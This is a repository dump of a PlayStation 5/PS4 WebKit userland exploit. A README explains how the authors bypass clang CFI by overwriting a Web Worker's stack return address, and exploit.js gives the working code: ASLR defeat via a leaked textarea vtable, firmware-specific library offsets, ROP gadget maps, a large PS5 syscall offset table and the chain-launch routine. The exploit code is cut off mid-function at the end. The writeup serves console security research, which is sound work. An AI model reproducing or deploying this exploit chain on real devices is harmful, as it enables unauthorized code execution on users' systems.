Repository: ChendoChap/PS5-Webkit-Execution Branch: main Commit: ad157f5c0748 Files: 7 Total size: 59.7 KB Directory structure: gitextract_414mdp3f/ ├── .github/ │ └── README.md ├── exploit.js ├── index.html ├── int64.js ├── rop.js ├── rop_slave.js └── webkit.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/README.md ================================================ # Exploring the Playstation 5 Security - Userland --- ## Introduction The PlayStation 5 was released on November 12th 2020. While it's similar to the PS4 in it's architecture, the security model is vastly improved on both kernel and userland fronts. Below is some key system information on system software and some of the changes from the last generation. - Uses FreeBSD 11. - No development access (ie. can't run unsigned code without exploits). - To date there are no public exploits. - Added mitigations in kernel and userland. - Added hypervisor that handles security and app containers. --- ## Userland Overview Back in September Project Zero released a [report](https://github.com/googleprojectzero/0days-in-the-wild/blob/67fde24b17e0defe07208d7a7f63563168ed5e62/0day-RCAs/2021/CVE-2021-30858.md) for what they believed to be CVE-2021-30858, this turned out to be wrong as it was actually CVE-2021-30889 they were describing. A [proof of concept](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) was written for PS4 by sleirsgoevy, which we later modified to gain ROP execution on 9.00 for the [kernel exploit](https://github.com/ChendoChap/pOOBs4). The vulnerability won't be covered here, this writeup will focus on taking the arbitrary read/write and `leakobj()/fakeobj()` primitives the exploit provides to gain code execution on PS5. Lower firmwares such as 2.00 don't seem to be vulnerable, likely because the relevant FontFace code isn't present in older builds of WebKit (this holds true on PS4 as well, as firmwares lower than 9.00 can't be exploited with this WebKit bug). Firmware 4.03 however, we found the browser was vulnerable. Unfortunately the exploit strategy used on PS4 could not be used on PS5 because of clang-based CFI. On PS4, we can use the `leakobj()` and arbitrary write primitive to leak an `HTMLTextArea`'s vtable and smash one the various virtual calls for code execution. On PS5, these virtual calls are verified. Virtual calls now have code that looks something like this, where it's address is enforced: ![image info](./cfi.png "PS5 CFI enforcement on webkit") --- ### [Mitigations](https://wiki.freebsd.org/SecurityMitigations) |name|kernel|user|description| |---|---|---|---| |[SMEP: Supervisor Mode Execution Prevention](https://svnweb.freebsd.org/base?view=revision&revision=242433)|x||SMEP will prevent supervisor mode from executing user-space code.| |[SMAP: Supervisor Mode Access Prevention](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention)|x||Complements Supervisor Mode Execution Prevention (SMEP), extends protection to reads and writes.| |[XOM: eXecute Only Memory (R^X)](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/what-is-execute-only-memory-xom)|x|x|Disallows reading any memory page marked as executable.| |[Clang-CFI: Control Flow Integrity](https://clang.llvm.org/docs/ControlFlowIntegrity.html)|x|x|Protects against forward-edge control flow hijack (virtual calls, etc.)| [Clang's Control Flow Integrity flags](https://clang.llvm.org/docs/ControlFlowIntegrity.html) |-fsanitize=cfi-|description| |----|---| |cast-strict| Enables strict cast checks.| |derived-cast| Base-to-derived cast to the wrong dynamic type.| |unrelated-cast| Cast from void* or another unrelated type to the wrong dynamic type.| |nvcall| Non-virtual call via an object whose vptr is of the wrong dynamic type.| |vcal| Virtual call via an object whose vptr is of the wrong dynamic type.| |icall| Indirect call of a function with wrong dynamic type.| |mfcall| Indirect call via a member function pointer with wrong dynamic type.| --- ## WebKit Exploit Implementation ### Overview An alternative was needed to achieve code execution in WebKit. Thankfully, PS5's CFI is only forward-edge and does not use shadow stack, so backward-edge attacks (such as attacking return addresses on the stack) are fair game. Javascript provides a somewhat interesting piece of functionality called [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API). These Workers are at their core simple threads which execute javascript in an isolated environment. These were useful for exploitation, as they had a reliable stack we could leak, and gives a thread to pivot to our ROP chain. ### Leaking a worker stack The libkernel library used by WebKit (and many other applications) keeps a list of threads for that process, and includes information such as the stack address and size. By iterating this list using the arbitrary read/write, we can find a worker's stack address. ```javascript function find_worker() { const PTHREAD_NEXT_THREAD_OFFSET = 0x38; const PTHREAD_STACK_ADDR_OFFSET = 0xA8; const PTHREAD_STACK_SIZE_OFFSET = 0xB0; for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) { let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET)); let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET)); if (stacksz.low == 0x80000) { return stack; } } alert("failed to find worker."); } ``` ### Launching a ROP chain Once we have a worker stack, we can smash a known return address on the stack to stack pivot and get ROP running. Due to the stack being deterministic, we can setup a dummy worker with a `postMessage` handler and overwrite the return address at `stack+0x7FB88`. ```javascript const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28); // ... let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET); let original_return_address = p.read8(return_address_ptr); let stack_pointer_ptr = return_address_ptr.add32(0x8); // ... async function launch_chain(chain) { // ... //overwrite return address p.write8(return_address_ptr, gadgets["pop rsp"]); p.write8(stack_pointer_ptr, chain.stack_entry_point); let p1 = await new Promise((resolve) => { const channel = new MessageChannel(); channel.port1.onmessage = () => { channel.port1.close(); resolve(1); } worker.postMessage(0, [channel.port2]); }); // ... } ``` --- ## Conclusion Gaining userland code execution on PS5 is trickier than on PS4, but it's possible. Of course, this was made easier by the fact that we have binaries\* and thus access to ROP gadgets. Otherwise, achieving code execution would have been far more difficult due to XOM. This is a userland exploit. Attacking the kernel is much more difficult due to above mitigations, and is left for a future writeup. --- ## Credits ChendoChap && Znullptr **Thanks** - Anonymous\* - Specter - sleirsgoevy - Everyone that donated. ================================================ FILE: exploit.js ================================================ //Common chain let chain; //Bases let libSceNKWebKitBase; let libSceLibcInternalBase; let libKernelBase; //ASLR defeat patsy (former vtable buddy) let textArea = document.createElement("textarea"); //Control flag const IS_PS5 = navigator.userAgent.includes("PlayStation 5"); function set_offset_for_platform(ps5_offset, ps4_offset) { return (IS_PS5) ? ps5_offset : ps4_offset; } const OFFSET_wk_vtable_first_element = set_offset_for_platform(0x00D04580, 0x0104F110); const OFFSET_wk_memset_import = set_offset_for_platform(0x028F9D38, 0x02F4A4E8); const OFFSET_wk___stack_chk_fail_import = set_offset_for_platform(0x028F9C38, 0x02F4A450); const OFFSET_lk___stack_chk_fail = set_offset_for_platform(0x00019970, 0x0001FF60); const OFFSET_lk_pthread_create_name_np = set_offset_for_platform(0x00001B60, 0x00019F10); const OFFSET_lk_pthread_exit = set_offset_for_platform(0x00020A80, 0x000077A0); const OFFSET_lk_pthread_join = set_offset_for_platform(0x0002FAD0, 0x0000AFA0); const OFFSET_lk__thread_list = set_offset_for_platform(0x000601A8, 0x00058248); const OFFSET_lc_memset = set_offset_for_platform(0x000148F0, 0x0004F810); const OFFSET_lc_setjmp = set_offset_for_platform(0x0005E9B0, 0x000BB5BC); const OFFSET_lc_longjmp = set_offset_for_platform(0x0005EA00, 0x000BB616); const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28); //ps5 malloc: 0x05C60 //ps5 free : 0x05C70 //ps5 memcpy: 0x03A90 //ps5 memcmp: 0x437F0 //ps5 __error: 0x1D2A0 let nogc = []; let syscalls = {}; let gadgets = {}; let ps5_syscall_map = { 0x001: 0x34230, // sys_exit 0x002: 0x351E0, // sys_fork 0x003: 0x33400, // sys_read 0x004: 0x33360, // sys_write 0x005: 0x33A00, // sys_open 0x006: 0x34030, // sys_close 0x007: 0x32C20, // sys_wait4 0x00A: 0x34D20, // sys_unlink 0x00C: 0x346B0, // sys_chdir 0x00F: 0x340B0, // sys_chmod 0x014: 0x33580, // sys_getpid 0x017: 0x33080, // sys_setuid 0x018: 0x34690, // sys_getuid 0x019: 0x33A40, // sys_geteuid 0x01B: 0x33AE0, // sys_recvmsg 0x01C: 0x33D10, // sys_sendmsg 0x01D: 0x34860, // sys_recvfrom 0x01E: 0x32F80, // sys_accept 0x01F: 0x32DA0, // sys_getpeername 0x020: 0x34EC0, // sys_getsockname 0x021: 0x349E0, // sys_access 0x022: 0x34B60, // sys_chflags 0x023: 0x34530, // sys_fchflags 0x024: 0x35410, // sys_sync 0x025: 0x339E0, // sys_kill 0x027: 0x33480, // sys_getppid 0x029: 0x34A40, // sys_dup 0x02A: 0x333D0, // sys_pipe 0x02B: 0x35080, // sys_getegid 0x02C: 0x353D0, // sys_profil 0x02F: 0x32F20, // sys_getgid 0x031: 0x32F00, // sys_getlogin 0x032: 0x34790, // sys_setlogin 0x035: 0x33140, // sys_sigaltstack 0x036: 0x332A0, // sys_ioctl 0x037: 0x34570, // sys_reboot 0x038: 0x34470, // sys_revoke 0x03B: 0x34770, // sys_execve 0x041: 0x34110, // sys_msync 0x049: 0x33900, // sys_munmap 0x04A: 0x34670, // sys_mprotect 0x04B: 0x337F0, // sys_madvise 0x04E: 0x339C0, // sys_mincore 0x04F: 0x32E80, // sys_getgroups 0x050: 0x33420, // sys_setgroups 0x053: 0x32E60, // sys_setitimer 0x056: 0x32C80, // sys_getitimer 0x059: 0x344D0, // sys_getdtablesize 0x05A: 0x348E0, // sys_dup2 0x05C: 0x33F10, // sys_fcntl 0x05D: 0x33A60, // sys_select 0x05F: 0x32EC0, // sys_fsync 0x060: 0x33DF0, // sys_setpriority 0x061: 0x33640, // sys_socket 0x062: 0x346D0, // sys_connect 0x063: 0x35040, // sys_netcontrol 0x064: 0x32C40, // sys_getpriority 0x065: 0x34C60, // sys_netabort 0x066: 0x34FE0, // sys_netgetsockinfo 0x068: 0x34CE0, // sys_bind 0x069: 0x33F50, // sys_setsockopt 0x06A: 0x33240, // sys_listen 0x071: 0x34250, // sys_socketex 0x072: 0x33C20, // sys_socketclose 0x074: 0x353F0, // sys_gettimeofday 0x075: 0x354D0, // sys_getrusage 0x076: 0x32C00, // sys_getsockopt 0x078: 0x33E90, // sys_readv 0x079: 0x33CF0, // sys_writev 0x07A: 0x34940, // sys_settimeofday 0x07C: 0x33880, // sys_fchmod 0x07D: 0x340F0, // sys_netgetiflist 0x07E: 0x34FC0, // sys_setreuid 0x07F: 0x33BE0, // sys_setregid 0x080: 0x34B40, // sys_rename 0x083: 0x33B60, // sys_flock 0x085: 0x35430, // sys_sendto 0x086: 0x35260, // sys_shutdown 0x087: 0x345F0, // sys_socketpair 0x088: 0x34390, // sys_mkdir 0x089: 0x335E0, // sys_rmdir 0x08A: 0x32AF0, // sys_utimes 0x08C: 0x34F80, // sys_adjtime 0x08D: 0x340D0, // sys_kqueueex 0x093: 0x34330, // sys_setsid 0x0A5: 0x32E20, // sys_sysarch 0x0B6: 0x34DC0, // sys_setegid 0x0B7: 0x32C60, // sys_seteuid 0x0BC: 0x34E20, // sys_stat 0x0BD: 0x35220, // sys_fstat 0x0BE: 0x33C00, // sys_lstat 0x0BF: 0x33300, // sys_pathconf 0x0C0: 0x345B0, // sys_fpathconf 0x0C2: 0x33B40, // sys_getrlimit 0x0C3: 0x33720, // sys_setrlimit 0x0C4: 0x34D40, // sys_getdirentries 0x0CA: 0x34B20, // sys___sysctl 0x0CB: 0x341D0, // sys_mlock 0x0CC: 0x34BC0, // sys_munlock 0x0CE: 0x33680, // sys_futimes 0x0D1: 0x33C60, // sys_poll 0x0E8: 0x32D20, // sys_clock_gettime 0x0E9: 0x34190, // sys_clock_settime 0x0EA: 0x35190, // sys_clock_getres 0x0EB: 0x34D60, // sys_ktimer_create 0x0EC: 0x334E0, // sys_ktimer_delete 0x0ED: 0x35240, // sys_ktimer_settime 0x0EE: 0x346F0, // sys_ktimer_gettime 0x0EF: 0x338A0, // sys_ktimer_getoverrun 0x0F0: 0x34C20, // sys_nanosleep 0x0F1: 0x34450, // sys_ffclock_getcounter 0x0F2: 0x33440, // sys_ffclock_setestimate 0x0F3: 0x342D0, // sys_ffclock_getestimate 0x0F7: 0x34CC0, // sys_clock_getcpuclockid2 0x0FD: 0x34880, // sys_issetugid 0x110: 0x35020, // sys_getdents 0x121: 0x34730, // sys_preadv 0x122: 0x33C80, // sys_pwritev 0x136: 0x33980, // sys_getsid 0x13B: 0x34E40, // sys_aio_suspend 0x144: 0x33500, // sys_mlockall 0x145: 0x34900, // sys_munlockall 0x147: 0x33600, // sys_sched_setparam 0x148: 0x34270, // sys_sched_getparam 0x149: 0x32DC0, // sys_sched_setscheduler 0x14A: 0x33C40, // sys_sched_getscheduler 0x14B: 0x33AA0, // sys_sched_yield 0x14C: 0x33040, // sys_sched_get_priority_max 0x14D: 0x33160, // sys_sched_get_priority_min 0x14E: 0x33390, // sys_sched_rr_get_interval 0x154: 0x32B50, // sys_sigprocmask 0x155: 0x32B90, // sys_sigsuspend 0x157: 0x34A60, // sys_sigpending 0x159: 0x34B80, // sys_sigtimedwait 0x15A: 0x347C0, // sys_sigwaitinfo 0x16A: 0x34DA0, // sys_kqueue 0x16B: 0x33000, // sys_kevent 0x17B: 0x32FA0, // sys_mtypeprotect 0x188: 0x330C0, // sys_uuidgen 0x189: 0x35510, // sys_sendfile 0x18D: 0x33560, // sys_fstatfs 0x190: 0x33120, // sys_ksem_close 0x191: 0x33EB0, // sys_ksem_post 0x192: 0x34750, // sys_ksem_wait 0x193: 0x354F0, // sys_ksem_trywait 0x194: 0x33260, // sys_ksem_init 0x195: 0x34C80, // sys_ksem_open 0x196: 0x34960, // sys_ksem_unlink 0x197: 0x330E0, // sys_ksem_getvalue 0x198: 0x34920, // sys_ksem_destroy 0x1A0: 0x34E00, // sys_sigaction 0x1A1: 0x34AA0, // sys_sigreturn 0x1A5: 0x33780, // sys_getcontext 0x1A6: 0x344B0, // sys_setcontext 0x1A7: 0x345D0, // sys_swapcontext 0x1AD: 0x337D0, // sys_sigwait 0x1AE: 0x32EA0, // sys_thr_create 0x1AF: 0x33200, // sys_thr_exit 0x1B0: 0x33BA0, // sys_thr_self 0x1B1: 0x33220, // sys_thr_kill 0x1B9: 0x34840, // sys_ksem_timedwait 0x1BA: 0x32B70, // sys_thr_suspend 0x1BB: 0x334A0, // sys_thr_wake 0x1BC: 0x34510, // sys_kldunloadf 0x1C6: 0x32BF0, // sys__umtx_op 0x1C6: 0x35200, // sys__umtx_op 0x1C7: 0x34F40, // sys_thr_new 0x1C8: 0x34EA0, // sys_sigqueue 0x1D0: 0x34800, // sys_thr_set_name 0x1D2: 0x33DB0, // sys_rtprio_thread 0x1DB: 0x33540, // sys_pread 0x1DC: 0x34650, // sys_pwrite 0x1DD: 0x34F20, // sys_mmap 0x1DE: 0x34A20, // sys_lseek 0x1DF: 0x33AC0, // sys_truncate 0x1E0: 0x33520, // sys_ftruncate 0x1E1: 0x32B10, // sys_thr_kill2 0x1E2: 0x35490, // sys_shm_open 0x1E3: 0x34F00, // sys_shm_unlink 0x1E6: 0x33740, // sys_cpuset_getid 0x1E7: 0x35300, // sys_cpuset_getaffinity 0x1E8: 0x34AC0, // sys_cpuset_setaffinity 0x1F3: 0x32EE0, // sys_openat 0x203: 0x34590, // sys___cap_rights_get 0x20A: 0x33FD0, // sys_pselect 0x214: 0x34090, // sys_regmgr_call 0x215: 0x33E10, // sys_jitshm_create 0x216: 0x343F0, // sys_jitshm_alias 0x217: 0x332E0, // sys_dl_get_list 0x218: 0x34130, // sys_dl_get_info 0x21A: 0x34070, // sys_evf_create 0x21B: 0x334C0, // sys_evf_delete 0x21C: 0x34410, // sys_evf_open 0x21D: 0x33FF0, // sys_evf_close 0x21E: 0x342B0, // sys_evf_wait 0x21F: 0x34A80, // sys_evf_trywait 0x220: 0x34430, // sys_evf_set 0x221: 0x349A0, // sys_evf_clear 0x222: 0x337B0, // sys_evf_cancel 0x223: 0x34290, // sys_query_memory_protection 0x224: 0x33B80, // sys_batch_map 0x225: 0x33D90, // sys_osem_create 0x226: 0x32D60, // sys_osem_delete 0x227: 0x32CE0, // sys_osem_open 0x228: 0x352E0, // sys_osem_close 0x229: 0x34370, // sys_osem_wait 0x22A: 0x34980, // sys_osem_trywait 0x22B: 0x34610, // sys_osem_post 0x22C: 0x33EF0, // sys_osem_cancel 0x22D: 0x33CA0, // sys_namedobj_create 0x22E: 0x339A0, // sys_namedobj_delete 0x22F: 0x35570, // sys_set_vm_container 0x230: 0x33460, // sys_debug_init 0x233: 0x33DD0, // sys_opmc_enable 0x234: 0x32E40, // sys_opmc_disable 0x235: 0x33E50, // sys_opmc_set_ctl 0x236: 0x33E70, // sys_opmc_set_ctr 0x237: 0x348C0, // sys_opmc_get_ctr 0x23C: 0x336E0, // sys_virtual_query 0x249: 0x34D00, // sys_is_in_sandbox 0x24A: 0x338C0, // sys_dmem_container 0x24B: 0x34170, // sys_get_authinfo 0x24C: 0x32CC0, // sys_mname 0x24F: 0x332C0, // sys_dynlib_dlsym 0x250: 0x335C0, // sys_dynlib_get_list 0x251: 0x35060, // sys_dynlib_get_info 0x252: 0x33F70, // sys_dynlib_load_prx 0x253: 0x32F60, // sys_dynlib_unload_prx 0x254: 0x34DE0, // sys_dynlib_do_copy_relocations 0x256: 0x33D70, // sys_dynlib_get_proc_param 0x257: 0x350C0, // sys_dynlib_process_needed_and_relocate 0x258: 0x32B30, // sys_sandbox_path 0x259: 0x336A0, // sys_mdbg_service 0x25A: 0x33D30, // sys_randomized_path 0x25B: 0x34BA0, // sys_rdup 0x25C: 0x331A0, // sys_dl_get_metadata 0x25D: 0x338E0, // sys_workaround8849 0x25E: 0x330A0, // sys_is_development_mode 0x25F: 0x34210, // sys_get_self_auth_info 0x260: 0x354B0, // sys_dynlib_get_info_ex 0x262: 0x35550, // sys_budget_get_ptype 0x263: 0x333B0, // sys_get_paging_stats_of_all_threads 0x264: 0x352C0, // sys_get_proc_type_info 0x265: 0x32AD0, // sys_get_resident_count 0x267: 0x33E30, // sys_get_resident_fmem_count 0x268: 0x34EE0, // sys_thr_get_name 0x269: 0x344F0, // sys_set_gpo 0x26A: 0x341F0, // sys_get_paging_stats_of_all_objects 0x26B: 0x32FE0, // sys_test_debug_rwmem 0x26C: 0x33100, // sys_free_stack 0x26E: 0x32D00, // sys_ipmimgr_call 0x26F: 0x34150, // sys_get_gpo 0x270: 0x35530, // sys_get_vm_map_timestamp 0x271: 0x34AE0, // sys_opmc_set_hw 0x272: 0x33620, // sys_opmc_get_hw 0x273: 0x32CA0, // sys_get_cpu_usage_all 0x274: 0x34310, // sys_mmap_dmem 0x275: 0x336C0, // sys_physhm_open 0x276: 0x33ED0, // sys_physhm_unlink 0x278: 0x35470, // sys_thr_suspend_ucontext 0x279: 0x33960, // sys_thr_resume_ucontext 0x27A: 0x33920, // sys_thr_get_ucontext 0x27B: 0x33A20, // sys_thr_set_ucontext 0x27C: 0x33660, // sys_set_timezone_info 0x27D: 0x343B0, // sys_set_phys_fmem_limit 0x27E: 0x33760, // sys_utc_to_localtime 0x27F: 0x35590, // sys_localtime_to_utc 0x280: 0x34710, // sys_set_uevt 0x281: 0x33280, // sys_get_cpu_usage_proc 0x282: 0x33B00, // sys_get_map_statistics 0x283: 0x348A0, // sys_set_chicken_switches 0x286: 0x351C0, // sys_get_kernel_mem_statistics 0x287: 0x343D0, // sys_get_sdk_compiled_version 0x288: 0x32D40, // sys_app_state_change 0x289: 0x34F60, // sys_dynlib_get_obj_member 0x28C: 0x32DE0, // sys_process_terminate 0x28D: 0x335A0, // sys_blockpool_open 0x28E: 0x33340, // sys_blockpool_map 0x28F: 0x34D80, // sys_blockpool_unmap 0x290: 0x349C0, // sys_dynlib_get_info_for_libdbg 0x291: 0x33A80, // sys_blockpool_batch 0x292: 0x331E0, // sys_fdatasync 0x293: 0x33700, // sys_dynlib_get_list2 0x294: 0x35450, // sys_dynlib_get_info2 0x295: 0x34C00, // sys_aio_submit 0x296: 0x33180, // sys_aio_multi_delete 0x297: 0x33FB0, // sys_aio_multi_wait 0x298: 0x33060, // sys_aio_multi_poll 0x299: 0x34B00, // sys_aio_get_data 0x29A: 0x33F90, // sys_aio_multi_cancel 0x29B: 0x32F40, // sys_get_bio_usage_all 0x29C: 0x34630, // sys_aio_create 0x29D: 0x350A0, // sys_aio_submit_cmd 0x29E: 0x34FA0, // sys_aio_init 0x29F: 0x34A00, // sys_get_page_table_stats 0x2A0: 0x34E60, // sys_dynlib_get_list_for_libdbg 0x2A1: 0x35000, // sys_blockpool_move 0x2A2: 0x34E80, // sys_virtual_query_all 0x2A3: 0x33F30, // sys_reserve_2mb_page 0x2A4: 0x347E0, // sys_cpumode_yield 0x2A5: 0x342F0, // sys_wait6 0x2A6: 0x33D50, // sys_cap_rights_limit 0x2A7: 0x33320, // sys_cap_ioctls_limit 0x2A8: 0x34050, // sys_cap_ioctls_get 0x2A9: 0x34820, // sys_cap_fcntls_limit 0x2AA: 0x32FC0, // sys_cap_fcntls_get 0x2AB: 0x35320, // sys_bindat 0x2AC: 0x33B20, // sys_connectat 0x2AD: 0x32D80, // sys_chflagsat 0x2AE: 0x32BD0, // sys_accept4 0x2AF: 0x331C0, // sys_pipe2 0x2B0: 0x33BC0, // sys_aio_mlock 0x2B1: 0x352A0, // sys_procctl 0x2B2: 0x34550, // sys_ppoll 0x2B3: 0x34490, // sys_futimens 0x2B4: 0x34C40, // sys_utimensat 0x2B5: 0x341B0, // sys_numa_getaffinity 0x2B6: 0x34010, // sys_numa_setaffinity 0x2C1: 0x33020, // sys_get_phys_page_size 0x2C9: 0x35280, // sys_get_ppr_sdk_compiled_version 0x2CC: 0x33860, // sys_openintr 0x2CD: 0x34350, // sys_dl_get_info_2 0x2CE: 0x33940, // sys_acinfo_add 0x2CF: 0x32BB0, // sys_acinfo_delete 0x2D0: 0x34BE0, // sys_acinfo_get_all_for_coredump 0x2D1: 0x34CA0, // sys_ampr_ctrl_debug 0x2D2: 0x32E00, // sys_workspace_ctrl } let ps4_wk_gadgetmap = { "ret": 0x32, "pop rdi": 0x319690, "pop rsi": 0x1F4D6, "pop rdx": 0x986C, "pop rcx": 0x657B7, "pop r8": 0xAFAA71, "pop r9": 0x422571, "pop rax": 0x51A12, "pop rsp": 0x4E293, "mov [rdi], rsi": 0x1A97920, "mov [rdi], rax": 0x10788F7, "mov [rdi], eax": 0x9964BC, "infloop": 0x7DFF, //branching specific gadgets "cmp [rcx], eax": 0x471F02, "sete al": 0xC975, "seta al": 0x110297, "setb al": 0x2B762, "setg al": 0x1EDF5, "setl al": 0x6C8D86, "shl rax, 3": 0x4AB143, "add rax, rdx": 0x3F662C, "mov rax, [rax]": 0x241CC, "inc dword [rax]": 0xCC638, }; let ps5_wk_gadgetmap = { "ret": 0x000042, "pop rdi": 0x043B7C, "pop rsi": 0x08f33E, "pop rdx": 0x0156EA, "pop rcx": 0x060DF3, "pop r8": 0x1262A4F, "pop r9": 0x4E450C, "pop rax": 0x084094, "pop rsp": 0x05D293, "mov [rdi], rsi": 0x0118570, "mov [rdi], rax": 0x0C3A5C0, "mov [rdi], eax": 0x03FB6E6, "infloop": 0x109E1, //branching specific gadgets "cmp [rcx], eax": 0x204122, "sete al": 0x0B7B735, "seta al": 0xCCFB4, "setb al": 0x1B7657, "setg al": 0x00708c9, "setl al": 0x1517692, "shl rax, 3": 0x1A43F03, "add rax, rdx": 0x16F4948, "mov rax, [rax]": 0x142E309, "inc dword [rax]": 0x017629AF, }; let worker = new Worker("rop_slave.js"); //Make sure worker is alive? async function wait_for_worker() { let p1 = await new Promise((resolve) => { const channel = new MessageChannel(); channel.port1.onmessage = () => { channel.port1.close(); resolve(1); } worker.postMessage(0, [channel.port2]); }); return p1; } function find_worker() { const PTHREAD_NEXT_THREAD_OFFSET = 0x38; const PTHREAD_STACK_ADDR_OFFSET = 0xA8; const PTHREAD_STACK_SIZE_OFFSET = 0xB0; for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) { let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET)); let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET)); if (stacksz.low == 0x80000) { return stack; } } alert("failed to find worker."); } async function userland() { p.pre_chain = pre_chain; p.launch_chain = launch_chain; p.malloc = malloc; p.stringify = stringify; p.array_from_address = array_from_address; p.readstr = readstr; p.writestr = writestr; //pointer to vtable address let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); //address of vtable let textAreaVtable = p.read8(textAreaVtPtr); //use address of 1st entry (in .text) to calculate libSceNKWebKitBase libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import)); libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset); libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_fail_import)); libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); if (IS_PS5) { for (let gadget in ps5_wk_gadgetmap) { gadgets[gadget] = libSceNKWebKitBase.add32(ps5_wk_gadgetmap[gadget]); } for (let sysc in ps5_syscall_map) { syscalls[sysc] = libKernelBase.add32(ps5_syscall_map[sysc]); } } else { for (let gadget in ps4_wk_gadgetmap) { gadgets[gadget] = libSceNKWebKitBase.add32(ps4_wk_gadgetmap[gadget]); } } function malloc(sz, type = 4) { let backing; if (type == 1) { backing = new Uint8Array(0x10000 + sz); } else if (type == 2) { backing = new Uint16Array(0x10000 + sz); } else if (type == 4) { backing = new Uint32Array(0x10000 + sz); } nogc.push(backing); let ptr = p.read8(p.leakval(backing).add32(0x10)); ptr.backing = backing; return ptr; } function array_from_address(addr, size) { let og_array = new Uint32Array(0x1000); let og_array_i = p.leakval(og_array).add32(0x10); p.write8(og_array_i, addr); p.write4(og_array_i.add32(0x8), size); p.write4(og_array_i.add32(0xC), 0x1); nogc.push(og_array); return og_array; } function stringify(str) { let bufView = new Uint8Array(str.length + 1); for (let i = 0; i < str.length; i++) { bufView[i] = str.charCodeAt(i) & 0xFF; } nogc.push(bufView); return p.read8(p.leakval(bufView).add32(0x10)); } function readstr(addr) { let str = ""; for (let i = 0;; i++) { let c = p.read1(addr.add32(i)); if (c == 0x0) { break; } str += String.fromCharCode(c); } return str; } function writestr(addr, str) { let waddr = addr.add32(0); if (typeof (str) == "string") { for (let i = 0; i < str.length; i++) { let byte = str.charCodeAt(i); if (byte == 0) { break; } p.write1(waddr, byte); waddr.add32inplace(0x1); } } p.write1(waddr, 0x0); } await wait_for_worker(); let worker_stack = find_worker(); let original_context = p.malloc(0x40); let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET); let original_return_address = p.read8(return_address_ptr); let stack_pointer_ptr = return_address_ptr.add32(0x8); function pre_chain(chain) { //save context for later chain.push(gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_lc_setjmp)); } async function launch_chain(chain) { //Restore earlier saved context but with a twist. let original_value_of_stack_pointer_ptr = p.read8(stack_pointer_ptr); chain.push_write8(original_context, original_return_address); chain.push_write8(original_context.add32(0x10), return_address_ptr); chain.push_write8(stack_pointer_ptr, original_value_of_stack_pointer_ptr); chain.push(gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_lc_longjmp)); //overwrite rop_slave's return address p.write8(return_address_ptr, gadgets["pop rsp"]); p.write8(stack_pointer_ptr, chain.stack_entry_point); let p1 = await new Promise((resolve) => { const channel = new MessageChannel(); channel.port1.onmessage = () => { channel.port1.close(); resolve(1); } worker.postMessage(0, [channel.port2]); }); if (p1 === 0) { alert("The rop thread ran away. "); p.write8(0, 0); } } if (!IS_PS5) { //PS4: read libkernel text and look for syscall wrappers. let kview = new Uint8Array(0x1000); let kstr = p.leakval(kview).add32(0x10); let orig_kview_buf = p.read8(kstr); p.write8(kstr, libKernelBase); p.write4(kstr.add32(8), 0x40000); let countbytes; for (let i = 0; i < 0x40000; i++) { if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { countbytes = i; break; } } p.write4(kstr.add32(8), countbytes + 32); let dview32 = new Uint32Array(1); let dview8 = new Uint8Array(dview32.buffer); for (let i = 0; i < countbytes; i++) { if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { dview8[0] = kview[i + 3]; dview8[1] = kview[i + 4]; dview8[2] = kview[i + 5]; dview8[3] = kview[i + 6]; let syscallno = dview32[0]; syscalls[syscallno] = libKernelBase.add32(i); } } p.write8(kstr, orig_kview_buf); } chain = new worker_rop(); //POST EXPLOIT STUFF HERE let pid = await chain.syscall(20); //Sanity check if (pid.low == 0) { alert("webkit exploit failed. Try again if your ps4 is on fw 9.00 / ps5 is on fw 4.03 ."); p.write8(0, 0); //usually the rw prim just stopped working if we got here, so write to 0x0 might not actually kill the browser. while (1); } alert(`sys_getpid: ${pid}`); //Threading sample let thread = new thread_rop("rop_thread"); { thread.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x11223344); } let pthread_res = p.malloc(0x8); var pthread = await thread.spawn_thread(); await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), pthread, pthread_res); alert(`pthread_join result: ${p.read8(pthread_res)}`); //Branch sample let branch_counter = p.malloc(0x8); p.write8(branch_counter, 0x0); { const start_rsp = chain.get_rsp(); const run_twice_condition = chain.create_branch(chain.branch_types.EQUAL, branch_counter, 2); const not_equal_rsp = chain.get_rsp(); chain.self_healing_syscall(362); chain.write_result4(branch_counter.add32(0x8)); chain.increment_dword(branch_counter); 